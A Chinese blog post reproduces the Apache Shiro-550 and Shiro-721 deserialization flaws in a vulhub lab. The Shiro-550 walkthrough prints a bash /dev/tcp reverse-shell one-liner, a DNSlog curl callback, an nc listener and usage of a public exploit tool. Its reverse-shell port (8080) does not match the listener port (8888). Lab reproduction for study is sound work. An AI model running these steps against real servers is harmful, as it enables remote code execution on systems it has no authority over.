Shiro550和Shiro721漏洞复现


Shiro550和Shiro721漏洞复现

Shiro是个啥

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞原理

在登录框有一个 remember me(记住密码)的功能,用户的登录信息加密后存储在remember me的Cookie中。攻击者可以使用shiro默认密钥伪造用户Cookie,触发java反序列化漏洞,进而在目标机器上执行任意命令

cookie处理流程:cookie值 – Base64解码 – AES解密 – 反序列化

用了AES加密的密钥,此密钥被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥

payload产生过程

payload – 序列化 – AES加密 – Base64加密 – 发送cookie

环境搭建

cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

漏洞验证

Shiro特征:

登录时,点击记住密码,利用burpsuite抓包验证,看返回结果是否有rememberMe=deleteMe

image-20220422183856844

漏洞利用

1.使用shiro_rce工具包

https://github.com/wyzxxz/shiro_rce

运行工具

java -jar shiro_tool.jar http://192.168.3.151:8080

通过http://www.dnslog.cn/随机获得一个dns

image-20220423085407042

然后在脚本中运行

curl 96it7w.dnslog.cn

image-20220423085606832

解析出来了

然后构造反弹shell

bash -i >& /dev/tcp/192.168.3.151/8080 0>&1

https://x.hacking8.com/?post=293 加密

image-20220423090533373

nc连接

nc -lvvp 8888

扔进工具里

image-20220423090343130

image-20220423090359963

成功

Shiro PADDING ORACLE ATTACK漏洞(Shiro-721)

漏洞原理

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录